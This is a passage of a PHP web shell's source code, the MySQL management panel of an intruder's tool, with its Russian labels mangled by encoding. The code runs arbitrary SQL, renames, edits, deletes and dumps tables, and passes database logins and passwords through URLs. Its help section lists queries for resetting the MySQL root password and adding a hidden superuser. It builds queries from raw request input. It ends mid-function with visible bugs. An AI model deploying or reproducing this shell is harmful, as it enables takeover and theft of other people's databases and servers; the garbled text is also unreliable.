2621<tr><td bgcolor=#181818 align=center><font size=2>оЕПЕХЛЕМÐБЮРРРЮÐКХЖС [ <b>$tbl</b> ]</font></td></tr>
2622
2623<tr><td bgcolor=#181818>мÐБÐЕ ХЛЪ РЮÐКХЖШ:
2624
2625<input type=\"text\" name=\"alttbl\" value=\"\">
2626
2627<input type=\"submit\" value=\"ОЕПЕХЛЕМÐБЮРÐ\" onClick=\"return confirm('бШ СБЕПЕМШ, ВРРУÐРХРЕ ОЕПЕХЛЕМÐБЮРРРЮÐКХЖС \' $tbl \' ?')\";>
2628
2629</td></tr></table></form>";
2630
2631}
2632
2633if (isset($alttbl)){
2634
2635mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
2636
2637$query = "ALTER TABLE $tbl RENAME TO $alttbl";
2638
2639$result = mysql_query($query) or die("$h_error<b>".mysql_error()."</b>$f_error");
2640
2641$t=base64_encode("<font color=green size=2><b>Action: </b></font><font color=#ffffff size=2>рЮÐКХЖЮ [ <b>$tbl ]</b> ОЕПЕХЛЕМÐБЮМЮ Б [ <b>$alttbl</b> ]</font><br>");
2642
2643print "<head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&login=$login&passwd=$passwd&server=$server&port=$port&tbl=$alttbl&limit_start=0&limit_count=5&t=$t'></head>";
2644
2645}
2646
2647if (isset($st_tab) && $st_tab=='TRUE'){
2648
2649mysql_select_db($st_db);
2650
2651$result = mysql_query('desc '.$tbl, $connection);
2652
2653print "<br><center><font size=2>ÑРПСЙРСПЮ РЮÐКХЖШ [ <b>$tbl</b> ]</font><center>".
2654
2655"<table align=center border=0 cellpadding=2 cellspacing=1 width=700 bgcolor=#ffffff>";
2656
2657for ($i=0;$i<@mysql_num_fields($result);$i++){
2658
2659$name=mysql_field_name($result,$i);
2660
2661$name=eregi_replace("Field","оÐКЕ",trim($name));
2662
2663$name=eregi_replace("Type","рХО",trim($name));
2664
2665$name=eregi_replace("Null","мÐКÐ",trim($name));
2666
2667$name=eregi_replace("Key","хМДЕЙЯШ",trim($name));
2668
2669$name=eregi_replace("Default","оРСЛÐКВЮМХЧ",trim($name));
2670
2671$name=eregi_replace("Extra","дÐОÐКМХРЕКÐМÐ",trim($name));
2672
2673$nn .= "<td align=center bgcolor=#181818><b>$name</b></td>";
2674
2675}
2676
2677print "<tr>$nn</tr>";
2678
2679while ($l_tbl = @mysql_fetch_array($result, MYSQL_ASSOC)) {
2680
2681print "<tr bgcolor=#181818>";
2682
2683foreach ($l_tbl as $k_tbl =>$col_v_tbl) {
2684
2685if (strtoupper(substr($col_v_tbl, 0, 3)) === 'PRI') {
2686
2687$col_v_tbl="оЕПБХВМШИ";
2688
2689}
2690
2691if (strtoupper(substr($col_v_tbl, 0, 3)) === 'UNI') {
2692
2693$col_v_tbl="ÑМХЙЮКÐМШИ";
2694
2695}
2696
2697if (strtoupper(substr($col_v_tbl, 0, 3)) === 'MUL' && $col_v_tbl !=='') {
2698
2699$col_v_tbl="хМДЕЙЯ";
2700
2701}
2702
2703if (strtoupper(substr($col_v_tbl, 0, 3)) === 'YES') { $col_v_tbl="дЮ"; }
2704
2705if (eregi("Field", $k_tbl)) {
2706
2707print "<td><font color=green><b>".htmlspecialchars($col_v_tbl)."</b></font></td>";
2708
2709}elseif (eregi("Type", $k_tbl)) {
2710
2711print "<td align=left>".htmlspecialchars($col_v_tbl)."</td>";
2712
2713}else{
2714
2715print "<td align=center>".htmlspecialchars($col_v_tbl)."</td>";
2716
2717}
2718
2719}
2720
2721print "</tr>";
2722
2723}
2724
2725print "</table><br>";
2726
2727@mysql_free_result($result);
2728
2729}
2730
2731if ($_REQUEST['q_tbl']=='table') { $q_tbl="SELECT * FROM `$tbl` WHERE 1 LIMIT 0, 30"; }
2732
2733if ($_REQUEST['return_sql']=='ok') { $q_tbl=trim($_REQUEST['new_query_tbl']); }
2734
2735$form_query_db_tbl="<br>
2736
2737<form method=\"get\" action=\"$self\">
2738
2739<input type=hidden name=sec value=mysql>
2740
2741<input type=hidden name=workingdir value=".getcwd().">
2742
2743<input type=\"hidden\" name=\"s\" value=\"$s\">
2744
2745<input type=\"hidden\" name=\"db\" value=\"$db\">
2746
2747<input type=\"hidden\" name=\"tbl\" value=\"$tbl\">
2748
2749<input type=\"hidden\" name=\"server\" value=\"$server\">
2750
2751<input type=\"hidden\" name=\"port\" value=\"$port\">
2752
2753<input type=\"hidden\" name=\"login\" value=\"$login\">
2754
2755<;input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
2756
2757<table width=90% border=0 bgcolor=#181818><tr><td>бШОÐКМХРРОПÐХГБÐКÐМШИ ГЮОПÐЯ Й РЮÐКХЖЕ ( <b>$tbl</b> )</td></tr>
2758
2759<tr><td width=90>
2760
2761<textarea name=\"new_query_tbl\" rows=\"10\" cols=\"80\">$q_tbl</textarea>
2762
2763</td><td valign=top>
2764
2765<input type=\"checkbox\" name=\"php_kod\" value=\"ok\"> оÐЙЮГЮРРPHP-ЙÐД ГЮОПÐЯЮ<br><br>
2766
2767<input type=\"checkbox\" name=\"return_sql\" value=\"ok\" checked=\"checked\"> оÐЙЮГЮРРДЮММШИ ГЮОПÐЯ ЯМÐБЮ<br>
2768
2769<br>
2770
2771<a href=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&q_help=ok\" target=\"_blank\"><b>оПХЛЕПШ ГЮОПÐЯÐБ</b></a>
2772
2773</td></tr>
2774
2775<tr><td>
2776
2777<input type=\"submit\" value=\"ГЮОПÐЯ\">
2778
2779</td></tr>
2780
2781</table></td></form>";
2782
2783if (isset($_REQUEST['query_tbl']) || $_REQUEST['q_tbl']=='table') {
2784
2785print $form_query_db_tbl."<br>";
2786
2787}
2788
2789if (isset($new_query_tbl)) {
2790
2791$new_query_tbl=trim($new_query_tbl);
2792
2793print $form_query_db_tbl;
2794
2795$result_tbl = mysql_query($new_query_tbl) or die("$h_error<b>".mysql_error()."</b>$f_error");
2796
2797if ($result_tbl !=='') {
2798
2799print "
2800
2801<table align=center border=0 width=90% cellpadding=0 cellspacing=1 bgcolor=#181818><tr>";
2802
2803if ($_REQUEST['php_kod']=='ok') { print "<font color=green><b>PHP-ЙÐД ГЮОПÐЯЮ:</b></font><br>\$sql = \"$new_query_tbl\";<br><br>"; }
2804
2805if (preg_match("[drop]",$new_query)) { print "рЮÐКХЖЮ СДЮКЕМЮ, ÐÐМÐБХРЕ ЯОХЯÐЙ РЮÐКХЖ ÐЮГШ."; }
2806
2807print "<br><b>гЮОПÐЯ СЯОЕЬМРБШОÐКМЕМ</b><br>";
2808
2809for ($i=0;$i<@mysql_num_fields($result_tbl);$i++){
2810
2811$name_tbl=mysql_field_name($result_tbl,$i);
2812
2813print "<td bgcolor=#181818>$name_tbl</td>";
2814
2815}
2816
2817print "</tr>";
2818
2819while ($line_tbl = @mysql_fetch_array($result_tbl, MYSQL_ASSOC)) {
2820
2821print "<tr>";
2822
2823foreach ($line_tbl as $key_tbl =>$col_value_tbl) {
2824
2825print "<td bgcolor=#181818>".htmlspecialchars($col_value_tbl)."</td>";
2826
2827}
2828
2829print "</tr>";
2830
2831}
2832
2833print "</table><br>";
2834
2835@mysql_free_result($result_tbl);
2836
2837}
2838
2839}
2840
2841if (!isset($alter_table) && !isset($st_tab) && !isset($query_tbl) && !isset($new_query_tbl) &&
2842
2843!isset($dump) && !isset($strukt) && !isset($query_edit) && !isset($query_del) && !isset($q_get) &&
2844
2845!isset($nn_row) && !isset($nn) && !isset($upd_f)) {
2846
2847print "<br><table border=0 cellpadding=1 cellspacing=1 width=100% bgcolor=#181818><tr>";
2848
2849$query_ind = 'SHOW KEYS FROM '.$tbl;
2850
2851$result_ind = mysql_query($query_ind) or die("$h_error<b>".mysql_error()."</b>$f_error");
2852
2853
2854
2855while ($row = mysql_fetch_array($result_ind, MYSQL_ASSOC)) {
2856
2857if ($row['Key_name'] == 'PRIMARY') {
2858
2859$primary[] .= $row['Column_name'];
2860
2861}
2862
2863}
2864
2865mysql_free_result($result_ind);
2866
2867$query = "SELECT * FROM $tbl LIMIT $limit_start,$limit_count";
2868
2869$result = mysql_query($query) or die("$h_error<b>".mysql_error()."</b>$f_error");
2870
2871if (mysql_num_rows($result) == 0) {
2872
2873print "рЮÐКХЖЮ <b>$tbl</b> МЕ ЯÐДЕПФХРМХ ÐДМÐИ ГЮОХЯХ";
2874
2875}else{
2876
2877print "<td bgcolor=#181818></td><td bgcolor=#181818></td>";
2878
2879for ($i=0;$i<mysql_num_fields($result);$i++){
2880
2881$name=mysql_field_name($result,$i);
2882
2883print "<td bgcolor=#181818>$name</td>";
2884
2885}
2886
2887}
2888
2889while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
2890
2891print "</tr>";
2892
2893foreach ($line as $key =>$col_value) {
2894
2895if (count($primary) > 0) {
2896
2897if (in_array($key,$primary)) { $edit .= urlencode("`$key`='$col_value' AND "); }
2898
2899}
2900
2901else {
2902
2903$edit .= urlencode("`$key`='$col_value' AND ");
2904
2905}
2906
2907$string .= "<td bgcolor=#181818>".htmlspecialchars($col_value)."</td>";
2908
2909}
2910
2911$edit=substr_replace($edit,"",-5);
2912
2913print "<tr><td bgcolor=#181818 width=25><a href=$self?sec=mysql&workingdir=".getcwd()."&query_edit=$edit&s=y&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$tbl title=\"пЕДЮЙРХПÐБЮРРГМЮВЕМХЪ ЙÐКÐМÐЙ\">Edit</a></td>".
2914
2915"<td bgcolor=#F84C6C width=25><a href=$self?sec=mysql&workingdir=".getcwd()."&query_del=$edit&s=y&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$tbl title=\"ÑДЮКХРРГЮОХЯÐ\" onClick=\"return confirm('ÑДЮКХРРГЮОХЯÐ, СБЕПЕМШ ?')\";>Del</a></td>".
2916
2917$string."</tr>";
2918
2919unset($edit);
2920
2921unset($string);
2922
2923}
2924
2925mysql_free_result($result);
2926
2927print "</table><br>";
2928
2929}
2930
2931if (isset($query_del)) {
2932
2933$query = 'DELETE FROM '.$tbl.' WHERE '.urldecode($query_del);
2934
2935$r_del = mysql_query($query) or die("$h_error<b>".mysql_error()."</b>$f_error");
2936
2937print "ÑЯОЕЬМРСДЮКЕМРЯРПÐЙ (<b> ".mysql_affected_rows()."</b> )";
2938
2939}
2940
2941if (isset($query_edit)) {
2942
2943$query = 'SELECT * FROM '.$tbl.' WHERE '.urldecode($query_edit);
2944
2945$r_edit = mysql_query($query) or die("$h_error<b>".mysql_error()."</b>$f_error");
2946
2947print "<br><center><font color=green><h5>пЕДЮЙРХПÐБЮМХЕ ГМЮВЕМХИ ОÐКЕИ РЮÐКХЖШ</h5></font></center>".
2948
2949"<table border=0 cellpadding=1 cellspacing=1 bgcolor=#181818><tr bgcolor=#181818>".
2950
2951"<td align=center><b>оÐКЕ</b></td><td align=center><b>гМЮВЕМХЕ</b></td></tr>";
2952
2953print "<form method=\"get\" action=\"$self\">".
2954
2955"<input type=\"hidden\" name=\"s\" value=\"$s\"><input type=hidden name=sec value=mysql>
2956
2957<input type=hidden name=workingdir value=".getcwd().">".
2958
2959"<input type=\"hidden\" name=\"q_get\" value=\"y\">".
2960
2961"<input type=\"hidden\" name=\"server\" value=\"$server\">".
2962
2963"<input type=\"hidden\" name=\"port\" value=\"$port\">".
2964
2965"<input type=\"hidden\" name=\"login\" value=\"$login\">".
2966
2967"<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">".
2968
2969"<input type=\"hidden\" name=\"db\" value=\"$db\">".
2970
2971"<input type=\"hidden\" name=\"tbl\" value=\"$tbl\">";
2972
2973print "<input type=\"radio\" name=\"up_str\" value=\"up_ok\" checked=\"checked\">нÐМÐБХРРГМЮВЕМХЪ <b>хкх</b> ".
2974
2975"<input type=\"radio\" name=\"up_str\" value=\"ins_ok\">бЯРЮБХРРМÐБШИ ПЪД<br><br>";
2976
2977while ($line = mysql_fetch_array($r_edit, MYSQL_ASSOC)) {
2978
2979foreach ($line as $key =>$col_value) {
2980
2981$del_str_Я .= "`$key`='$col_value' AND ";
2982
2983$len_value=strlen($col_value);
2984
2985if ($len_value > 40) { $t_value="<textarea name=$key cols=39 rows=5>$col_value</textarea>"; }
2986
2987else { $t_value="<input type='text' name='$key' value='$col_value'size=40>"; }
2988
2989$g_query .= "<tr><td bgcolor=#181818><b>$key</b></td><td>$t_value</td></tr>";
2990
2991}
2992
2993}
2994
2995$del_str=urlencode($del_str_Я);
2996
2997print "<input type=\"hidden\" name=\"del_str\" value=\"$del_str\">";
2998
2999print "$g_query</table><br>";
3000
3001print "<br><input type=submit value=\"ХГЛЕМХРРГМЮВЕМХЕ\"></form>";
3002
3003}
3004
3005if (isset($q_get)) {
3006
3007$url=$HTTP_SERVER_VARS['QUERY_STRING'];
3008
3009if ($_REQUEST['up_str']=='up_ok') {
3010
3011$del_str=urldecode(substr_replace($del_str,"",-5));
3012
3013$b = explode('&', $url);
3014
3015for ($i = 10; $i < count($b); $i++) {
3016
3017$q = explode("=",$b[$i]);
3018
3019$q_a .= "`".$q[0]."`='".$q[1]."', ";
3020
3021}
3022
3023$q_a_ins=urldecode(substr_replace($q_a,"",-2));
3024
3025$q_st=urldecode(substr_replace($q_st,"",-2));
3026
3027$up="UPDATE `$tbl` SET $q_a_ins WHERE $del_str LIMIT 1";
3028
3029$q_ins_new = mysql_query($up) or die("$h_error<b>".mysql_error()."</b>$f_error");
3030
3031$c_a_r=mysql_affected_rows();
3032
3033print "<table align=left width=70% bgcolor=#181818><tr><td><font color=green>".
3034
3035"<b>PHP-ЙÐД ГЮОПÐЯЮ:</b></font></td></tr><tr><td>\$sql=\"$up\";</td>".
3036
3037"</tr><tr><td><font color=green>хГЛЕМЕМРЯРПÐЙ</font> (<b>$c_a_r<b>)</td></tr></table>";
3038
3039}
3040
3041if ($_REQUEST['up_str']=='ins_ok') {
3042
3043$b = explode('&', $url);
3044
3045for ($i = 10; $i < count($b); $i++) {
3046
3047$q = explode("=",$b[$i]);
3048
3049$i_cols .="`$q[0]`, ";
3050
3051$i_val .= "'$q[1]', ";
3052
3053}
3054
3055$i_cols=urldecode(substr_replace($i_cols,"",-2));
3056
3057$q_a_ins=urldecode(substr_replace($i_val,"",-2));
3058
3059$up="INSERT INTO `$tbl` ($i_cols) VALUES ($q_a_ins)";
3060
3061$q_ins_new = mysql_query($up) or die("$h_error<b>".mysql_error()."</b>$f_error");
3062
3063$c_a_r=mysql_affected_rows();
3064
3065print "<table align=left width=70% bgcolor=#181818><tr><td><font color=green>".
3066
3067"<b>PHP-ЙÐД ГЮОПÐЯЮ:</b></font></td></tr><tr><td>\$sql=\"$up\";</td>".
3068
3069"</tr><tr><td><font color=green>хГЛЕМЕМРЯРПÐЙ</font> (<b>$c_a_r<b>)</td></tr></table>";
3070
3071}
3072
3073}
3074
3075if (isset($nn_row) && $_REQUEST['nn_row']=='ok') {
3076
3077$nn_q = 'SHOW FIELDS FROM '.$tbl;
3078
3079$r_n = mysql_query($nn_q) or die("$h_error<b>".mysql_error()."</b>$f_error");
3080
3081print "<form method=\"get\" action=\"$self\">".
3082
3083"<input type=\"hidden\" name=\"s\" value=\"$s\"><input type=hidden name=sec value=mysql>
3084
3085<input type=hidden name=workingdir value=".getcwd().">".
3086
3087"<input type=\"hidden\" name=\"nn\" value=\"ok\">".
3088
3089"<input type=\"hidden\" name=\"server\" value=\"$server\">".
3090
3091"<input type=\"hidden\" name=\"port\" value=\"$port\">".
3092
3093"<input type=\"hidden\" name=\"login\" value=\"$login\">".
3094
3095"<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">".
3096
3097"<input type=\"hidden\" name=\"db\" value=\"$db\">".
3098
3099"<input type=\"hidden\" name=\"tbl\" value=\"$tbl\">".
3100
3101"<br><center><font size=2>бЯРЮБХРРМÐБШИ ПЪД Б РЮÐКХЖС [ <b>$tbl</b> ]</font></center>".
3102
3103"<br><table border=0 cellpadding=0 cellspacing=1 bgcolor=#181818><tr bgcolor=#181818>".
3104
3105"<td align=center><b>оÐКЕ</b></td><td align=center><b>рХО</b></td>".
3106
3107"<td align=center><b>гМЮВЕМХЕ</b></td></tr>";
3108
3109while ($n_line = mysql_fetch_array($r_n, MYSQL_ASSOC)) {
3110
3111foreach ($n_line as $n_k =>$n_v) {
3112
3113$pole .= "$n_v ";
3114
3115}
3116
3117$n_l=explode(" ",$pole);
3118
3119print "<tr bgcolor=#181818><td> <b>$n_l[0]</b> </td><td bgcolor=#181818> ".
3120
3121wordwrap($n_l[1],40,"<br>",1).
3122
3123" </td><td><input type=text name=\"$n_l[0]\" size=35><td></tr>";
3124
3125unset($pole);
3126
3127}
3128
3129print "</table><br><center><input type=submit value=\"БЯРЮБХРРМÐБШИ ПЪД\"></center></form><br>";
3130
3131}
3132
3133if (isset($nn) && $_REQUEST['nn']=='ok') {
3134
3135$url_n=urldecode($HTTP_SERVER_VARS['QUERY_STRING']);
3136
3137$b_nn = explode('&', $url_n);
3138
3139for ($i = 8; $i < count($b_nn); $i++) {
3140
3141$q_nn = explode("=",$b_nn[$i]);
3142
3143$q_a_nn .= "`".$q_nn[0]."` ,";
3144
3145$q_nn_v .= "'".$q_nn[1]."' ,";
3146
3147}
3148
3149$q_nn_ins=urldecode(substr_replace($q_a_nn,"",-2));
3150
3151$q_nn_v=substr_replace($q_nn_v,"",-2);
3152
3153$sql_n="INSERT INTO `$tbl` ( $q_nn_ins ) VALUES ( $q_nn_v )";
3154
3155mysql_query($sql_n) or die("$h_error<b>".mysql_error()."</b>$f_error");
3156
3157$c_n_r=mysql_affected_rows();
3158
3159print " <table align=left width=70% bgcolor=#181818>".
3160
3161"<tr><td><b>Action:</b> <font color=green>ÑЯОЕЬМРБЯРЮБКЕМРЯРПÐЙ</font> (<b>$c_n_r<b>)</td></tr>".
3162
3163"<tr><td><font color=green><b>PHP-ЙÐД ГЮОПÐЯЮ:</b></font></td></tr><tr><td>\$sql=\"$sql_n\";</td></tr></table><br><br>";
3164
3165}
3166
3167$form_dump=
3168
3169"<form method=\"get\" action=\"$self\">".
3170
3171"<input type=\"hidden\" name=\"s\" value=\"$s\"><input type=hidden name=sec value=mysql>
3172
3173<input type=hidden name=workingdir value=".getcwd().">".
3174
3175"<input type=\"hidden\" name=\"db\" value=\"$db\">".
3176
3177"<input type=\"hidden\" name=\"tbl\" value=\"$tbl\">".
3178
3179"<input type=\"hidden\" name=\"server\" value=\"$server\">".
3180
3181"<input type=\"hidden\" name=\"port\" value=\"$port\">".
3182
3183"<input type=\"hidden\" name=\"login\" value=\"$login\">".
3184
3185"<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">".
3186
3187"<input type=\"hidden\" name=\"f_dump\" value=\"$file\">".
3188
3189"<table bgcolor=#181818 width=400 cellpadding=0 cellspacing=1 border=0><tr bgcolor=#181818><td valign=top>".
3190
3191"<table cellpadding=2 bgcolor=#181818 width=100%>".
3192
3193"<tr><td align=center><b>Dump РЮÐКХЖШ</b> [ <font color=green><b>$tbl</b></font> ]</td></tr>".
3194
3195"<tr><td><input type=\"radio\" name=\"strukt\" value=\"t_strukt\"> Ñ€ÐКÐЙРЯРПСЙРСПС</td></tr>".
3196
3197"<tr><td><input type=\"radio\" name=\"strukt\" value=\"d\"> Ñ€ÐКÐЙРДЮММШЕ</td></tr>".
3198
3199"<tr><td><input type=\"radio\" name=\"strukt\" value=\"d_strukt\" checked=\"checked\"> ÑРПСЙРСПС Ð¥ ДЮММШЕ</td></tr>".
3200
3201"<tr><td align=center><hr size=1 color=#181818><b>дЕИЯРБХЕ</b> (ОÐЙЮГЮРÐ/ÐРОПЮБХРÐ)</td></tr>".
3202
3203"<tr><td><input type=\"radio\" name=\"send\" value=\"send_br\" checked=\"checked\"> оÐЙЮГЮРРБ ÐПÐСГЕПЕ</td></tr>".
3204
3205"<tr><td><input type=\"radio\" name=\"send\" value=\"send_http\"> нРОПЮБХРРТЮИК ДЮЛОЮ ОРHTTP</td></tr>".
3206
3207"<tr><td align=center><br><input type=\"submit\" value=\"бШОÐКМХРРГЮОПÐЯ\"></td></tr>".
3208
3209"</table>".
3210
3211"</td></tr></table></form>";
3212
3213if ($dump=="tab"){ print $form_dump;}
3214
3215if ($_REQUEST['strukt']=='t_strukt' && $_REQUEST['send']=='send_br' ){
3216
3217$host = $HTTP_SERVER_VARS["SERVER_NAME"];
3218
3219$ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
3220
3221mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
3222
3223$fp = fopen($file, "w");
3224
3225fputs ($fp, "# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
3226
3227date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
3228
3229$res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error<b>".mysql_error()."</b>$f_error");
3230
3231$row = mysql_fetch_row($res);
3232
3233fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
3234
3235fputs($fp, $row[1].";\n\n");
3236
3237fclose($fp);
3238
3239$dump_file=file($file);
3240
3241print "<br><table bgcolor=#181818 width=99% cellpadding=0 cellspacing=1 border=1><tr><td><table width=100% cellpadding=2 bgcolor=#181818>";
3242
3243foreach ($dump_file as $k=>$v){$v=str_replace("\n","<br>",$v);print "<tr><td>".strip_tags($v,"<br>")."</td></tr>";}
3244
3245print "</table></td></tr></table><br>";
3246
3247unlink($file);
3248
3249}
3250
3251if ($_REQUEST['strukt']=='d_strukt' && $_REQUEST['send']=='send_br'){
3252
3253$host = $HTTP_SERVER_VARS["SERVER_NAME"];
3254
3255$ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
3256
3257mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
3258
3259$fp = fopen($file, "w");
3260
3261fputs ($fp, "# Host settings:\n# $host ($ip)\n # MySQL version: (".mysql_get_server_info().")\n# Date: ".
3262
3263date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
3264
3265$res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error<b>".mysql_error()."</b>$f_error");
3266
3267$row = mysql_fetch_row($res);
3268
3269fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
3270
3271fputs($fp, $row[1].";\n\n");
3272
3273$res = mysql_query("SELECT * FROM `$tbl`", $connection);
3274
3275if (mysql_num_rows($res) > 0) {
3276
3277while ($row = mysql_fetch_assoc($res)) {
3278
3279$keys = implode("`, `", array_keys($row));
3280
3281$values = array_values($row);
3282
3283foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
3284
3285$values = implode("', '", $values);
3286
3287$sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
3288
3289fputs($fp, $sql);
3290
3291}
3292
3293}
3294
3295fclose($fp);
3296
3297$dump_file=file($file);
3298
3299print "<br><table bgcolor=#181818 width=99% cellpadding=0 cellspacing=1 border=1><tr><td><table width=100% cellpadding=2 bgcolor=#181818>";
3300
3301foreach ($dump_file as $k=>$v){$v=str_replace("\n","<br>",$v);print "<tr><td>".strip_tags($v,"<br>")."</td></tr>";}
3302
3303print "</table></td></tr></table><br>";
3304
3305unlink($file);
3306
3307}
3308
3309if ($_REQUEST['strukt']=='d' && $_REQUEST['send']=='send_br'){
3310
3311$host = $HTTP_SERVER_VARS["SERVER_NAME"];
3312
3313$ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
3314
3315mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
3316
3317$fp = fopen($file, "w");
3318
3319$res = mysql_query("SELECT * FROM `$tbl`", $connection);
3320
3321if (mysql_num_rows($res) > 0) {
3322
3323while ($row = mysql_fetch_assoc($res)) {
3324
3325$keys = implode("`, `", array_keys($row));
3326
3327$values = array_values($row);
3328
3329foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
3330
3331$values = implode("', '", $values);
3332
3333$sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
3334
3335fputs($fp, $sql);
3336
3337}
3338
3339}
3340
3341fclose($fp);
3342
3343$dump_file=file($file);
3344
3345print "<br><table bgcolor=#181818 width=99% cellpadding=0 cellspacing=1 border=1><tr><td><table width=100% cellpadding=2 bgcolor=#181818>";
3346
3347foreach ($dump_file as $k=>$v){$v=str_replace("\n","<br>",$v);print "<tr><td>".strip_tags($v,"<br>")."</td></tr>";}
3348
3349print "</table></td></tr></table><br>";
3350
3351unlink($file);
3352
3353}
3354
3355print "
3356
3357</td>
3358
3359</tr>
3360
3361</table>
3362
3363</td>
3364
3365</tr>
3366
3367</table>";
3368
3369}
3370
3371if (isset($q_help) && $q_help=='ok'){
3372
3373print 'лХМХ HELP ОРГЮОПÐЯЮЛ
3374
3375<li><b>SHOW TABLES </b> БШБÐДХРЯОХЯÐЙ РЮÐКХЖ ÐЮГШ
3376
3377<li><b>SHOW OPEN TABLES</b> БШБÐДХРЯОХЯÐЙ РЮÐКХЖ, ЙÐÐ ÐПШЕ Б МЮЯРÐЪЫХИ ЛÐЛЕМРÐРЙПШРШ Б ЙЩЬЕ РЮÐКХЖШ
3378
3379<li><b>SHOW TABLE STATUS</b> ЯРПСЙРСПЮ РЮÐКХЖ ÐЮГШ
3380
3381<li><b>SELECT VERSION(), CURRENT_DATE</b> БШБÐДХРБЕПЯХЧ MySQL ЯЕПБЕПЮ Ð¥ РЕЙСЫСЧ ДЮРС
3382
3383<li><b>SELECT (2*2), (4+1)*5, (9/3), (5-3)</b> ХЯОÐКÐГСЕЛ MySQL ЙЮЙ ЙЮКÐЙСКЪРÐП: СЙЮГШБЮЕЛ ВЕПЕГ ГЮОЪРСЧ ЮПХТЛЕРХВЕЯЙХЕ ÐОЕПЮЖХХ
3384
3385<li><b>DROP TABLE IF EXISTS table_name</b> СДЮКХРРРЮÐКХЖС \"table_name\"
3386
3387<li><b>CREATE TABLE bar (m INT)</b> ЯÐГДЮРРРЮÐКХЖС bar Я ÐДМХЛ ЯРÐКÐЖÐЛ (m) РХОЮ integer
3388
3389<li><b>CREATE TABLE test (number INTEGER,texts CHAR(10));</b> ЯÐГДЮРРРЮÐКХЖС test Я ОÐКЪЛХ number -РХО INTEGER Ð¥ ОÐКЕ texts -РХО CHAR
3390
3391<li><b>CREATE TABLE `test` SELECT * FROM `rush`;</b> ЯÐГДЮРРРЮÐКХЖС test ,ЙÐОХПСЪ РЮÐКХЖС rush
3392
3393<li><b>ALTER TABLE test CHANGE SITE OLD_SITE INTEGER</b> ОЕПЕХЛЕМÐБЮРРЯРÐКÐЕЖ INTEGER ХГ SITE Б OLD_SITE
3394
3395<li><b>ALTER TABLE test RENAME rush</b> ОЕПЕХЛЕМÐБЮРРРЮÐКХЖС test Б rush
3396
3397<li><b>UPDATE mysql.user SET Password=PASSWORD(\'new_passwd\') WHERE user=\'root\'</b> ЯЛЕМХРРЧГЕПС root ОЮПÐКÐ
3398
3399<li><b>FLUSH PRIVILEGES</b> ОЕПЕВХРЮРРРЮÐКХЖС ОПХБХКЕЦХИ ЧГЕПÐБ
3400
3401<li><b>GRANT ALL PRIVILEGES ON *.* TO xXx@localhost IDENTIFIED BY \'some_pass\' WITH GRANT OPTION</b> ДÐÐЮБХРРМÐБÐЦРЯСОЕП-ЧГЕПЮ mysql <b>xXx</b> Я ОЮПÐКЕЛ <b>some_pass</b>
3402
3403';
3404
3405}
3406
3407print "
3408
3409</td>
3410
3411</tr>
3412
3413</table>
3414
3415</td></tr>
3416
3417<tr><td>
3418
3419<table align=center width=100% cellpadding=0 cellspacing=1 bgcolor=#181818>
3420
3421<tr><td>
3422
3423<table align=center border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#181818>
3424
3425<tr>
3426
3427<td align=center>
3428
3429
3430
3431</td>
3432
3433</tr>
3434
3435</table>
3436
3437</td></tr>
3438
3439</table>
3440
3441</td></tr></table>";
3442
3443exit();
3444
3445}
3446
3447function icon($file) {
3448
3449$ext=get_file_ext($file);
3450
3451if (getimagesize($file) != NULL) { $icon="img"; }
3452
3453elseif (is_dir($file)) { $icon="dir"; }
3454
3455elseif ($ext == "htm" || $ext == "html" || $ext == "mhtml") { $icon="html"; }
3456
3457elseif ($ext == "php" || $ext == "php3" || $ext == "php4" || $ext == "php5" || $ext == "phtml") { $icon="php"; }
3458
3459elseif ($ext == "exe" || $ext == "com" || $ext == "bat") { $icon="exe"; }
3460
3461elseif ($ext == "htaccess" || $ext == "txt" || $ext == "htpasswd" || $ext == "dat" || $ext == "log" || $ext == "ini" || $ext == "inf" || $ext == "inc" || $ext == "sql" || $ext == "rtf" || $ext == "doc") { $icon="txt"; }
3462
3463else { $icon="unk"; }
3464
3465return "<img src=\"".$_SERVER['PHP_SELF']."?act=img&name_img=".$icon."\" /> ";
3466
3467}
3468
3469function flusher(){ flush(); ob_flush(); }
3470
3471if (!function_exists("file_get_contents")) {
3472
3473function file_get_contents($addr) {
3474
3475$a = fopen($addr,"r");
3476
3477$tmp = fread($a,filesize($a));
3478
3479fclose($a);
3480
3481if($a)return $tmp;
3482
3483}
3484
3485}
3486
3487if (!function_exists("file_put_contents")) {
3488
3489function file_put_contents($addr,$con) {
3490
3491$a = fopen($addr,"w");
3492
3493if(!$a)return 0;
3494
3495fwrite($a,$con);
3496
3497fclose($a);
3498
3499return strlen($con);
3500
3501}
3502
3503}
3504
3505if (!function_exists("str_repeat")) {
3506
3507function str_repeat($str,$c){
3508
3509$r="";
3510
3511for($i=0; $i < $cu; $i++)$r.=$str;
